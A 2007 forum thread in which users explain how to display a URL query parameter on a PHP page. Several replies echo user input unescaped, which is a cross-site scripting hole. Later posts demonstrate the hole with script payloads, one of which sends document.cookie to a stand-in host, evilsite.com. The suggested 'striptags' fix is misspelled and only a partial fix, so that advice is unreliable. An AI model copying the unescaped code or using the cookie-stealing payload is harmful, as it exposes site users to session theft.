Simple PHP question

**handsome rob** · 02-01-2007, 11:29 AM

I call it simple because I can't imagine this should be too difficult. I'm not much of a web programmer though.

I want to display the search term used to find the entry page. 99% of my traffic for this page is PPC, so I can use a banner ID if I have to. The page is basic HTML and CSS. Any pointers?

**webmaster4hire** · 02-01-2007, 01:07 PM

Handsome Rob,

if by 'entry page' you mean the referring page to the destination page (ie. where your PPC is sending visitors), you can get this info in the $_SERVER['HTTP_REFERER'] php variable. Be aware however that this info is not always available due to some browser setups.

Good luck,
Dylan

**handsome rob** · 02-01-2007, 02:52 PM

Dylan--

Thanks for that.

When a user goes on google, searches for "blue widget handbook" and clicks on my AdWords ad, I want my page to display the words "blue widget handbook". Perhaps I should have been more clear about that.

**dprundle** · 02-01-2007, 02:53 PM

Have you installed Google Analytics?

**handsome rob** · 02-01-2007, 04:37 PM

No, mainly because I'm not using Google Adwords.

If I were to enter my url as http://www.mysite.com/index.html?id=blue%20widgets

I'd want the page that comes up to display the words "blue widgets".

**tuxidomasx** · 02-01-2007, 04:49 PM

oh.

you'd do something like this:

HTML Code:

<html><body>
     <?php
          $query_string = $_GET['id'];
          echo $query_string;
     ?>
</body></html>

so if you go to: yoursite.com/index.php?id=bluewidgets

you'd get a page with "bluewidgets" displayed on it

**imported_Jordan** · 02-01-2007, 08:38 PM

The above will work but with a little extra code you can make it look much better with spaces and capitals.

edit the link in your adwords campaign to yoursite.com/index.php?r=blue-widgets

( the "-" will be translated into spaces )

on your index.php page ad the following at the very top.

Code:

<?
$r = $_GET['r']; // gets the referal
$r = striptags($r);
$r = str_replace('-',' ',$r); // replaces the - with a space so that when the page is viewed the title won't be "bluewidgets" it will be "blue widgets"
$r = ucwords($r); // this capitalizes the first letter of each word
?>

then where you want it to appear type in

Code:

<? echo $r; ?>

for example

Code:

<h1><? echo $r; ?></h1>

Hope this helps !

**webmaster4hire** · 02-01-2007, 08:40 PM

tuxidomasx has a good solution but I'd be careful using this code as-is. To make his code bullet-proof, I'd add this:

Code:

     echo striptags($query_string);

otherwise you might end up with a nasty surprise!

Dylan

**imported_Jordan** · 02-01-2007, 08:43 PM

true - I added that to my script to prevent injection

**roeinstein** · 02-01-2007, 10:12 PM

<?=$_REQUEST['id']?> would be the easiest :-)

**handsome rob** · 02-02-2007, 03:42 PM

Wow I'll have to sift through all this over the weekend. thanks so much for all the responses.

**Lucas3677** · 02-03-2007, 12:48 PM

Quote:

Originally Posted by roeinstein

<?=$_REQUEST['id']?> would be the easiest :-)

Easiest isn't always the best:

Code:

www.thesite.com/page.php?id=<script>alert('I stole your cookies! ' + document.cookie);</script>

**roeinstein** · 02-03-2007, 04:37 PM

Quote:

Originally Posted by Lucas

Easiest isn't always the best:

Code:

www thesite com/page.php?id=<script>alert('I stole your cookies! ' + document.cookie);</script>

1.) I didn't say it was the best way. It's the easiest
2.) What is the big deal about pulling up your own cookies? I wouldn't consider that a huge security risk :-)

**tuxidomasx** · 02-03-2007, 08:01 PM

its a much bigger security risk than you think. lets say i sent you a link to his site where the URI was:

Code:

www thesite com/page.php?id=<script>window.location="http://evilsite.com/cs.php?cookie="+document.cookie;</script>

and you clicked on it

I'll be in your jar, stealing your cookies.